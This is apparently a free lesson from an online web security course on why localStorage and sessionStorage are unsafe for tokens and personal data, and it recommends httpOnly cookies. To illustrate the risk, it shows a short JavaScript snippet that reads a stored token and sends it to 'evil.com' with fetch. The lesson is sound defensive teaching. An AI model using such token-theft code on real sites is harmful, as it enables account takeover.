Course contentsShow
← Security
Lesson 1073 of 3,05222. Web Security - Client-Side and SPA SecurityFree lesson

localStorage and sessionStorage Security

Security implications of Web Storage APIs, XSS risks, data lifetime, and when to avoid storing sensitive information.

localStorage and sessionStorage Security

You'll learn: How using browser storage APIs can expose sensitive data to attackers through XSS and why some data should never be stored client-side.

The Core Problem

localStorage and sessionStorage are convenient JavaScript APIs for storing data in the user's browser, but they're fundamentally insecure for sensitive information. Both are accessible to any JavaScript code running on your page—including malicious scripts injected through XSS attacks.

Think of these storage mechanisms like sticky notes on your desk: convenient for quick reference, but anyone who walks by can read them. If an attacker injects even a single line of JavaScript into your page, they can instantly access everything:

// An XSS attacker can read all your storage
const stolenData = localStorage.getItem('userToken');
// Send it to their server
fetch('https://evil.com/steal?data=' + stolenData);

Data Lifetime Matters

  • localStorage persists forever (until manually cleared)—attack window never closes
  • sessionStorage clears when the tab closes—smaller attack window, but still vulnerable during the session

Neither provides encryption, authentication, or access control. They're bound to the origin (via Same-Origin Policy), but that doesn't protect against XSS on your origin.

What NEVER to Store

  • Authentication tokens (JWT, session IDs)
  • Personal identifiable information (PII)
  • Credit card data
  • API keys or secrets
  • Passwords (obviously)

These belong in httpOnly cookies (inaccessible to JavaScript) or not stored client-side at all.

Safe Use Cases

Store only non-sensitive data: user preferences, UI state, shopping cart contents, draft form data—things where compromise doesn't directly lead to account takeover.

Key Takeaway: Web Storage APIs offer zero XSS protection; never store authentication credentials or sensitive data in localStorage or sessionStorage—use httpOnly cookies for tokens and assume any client-side storage is readable by attackers.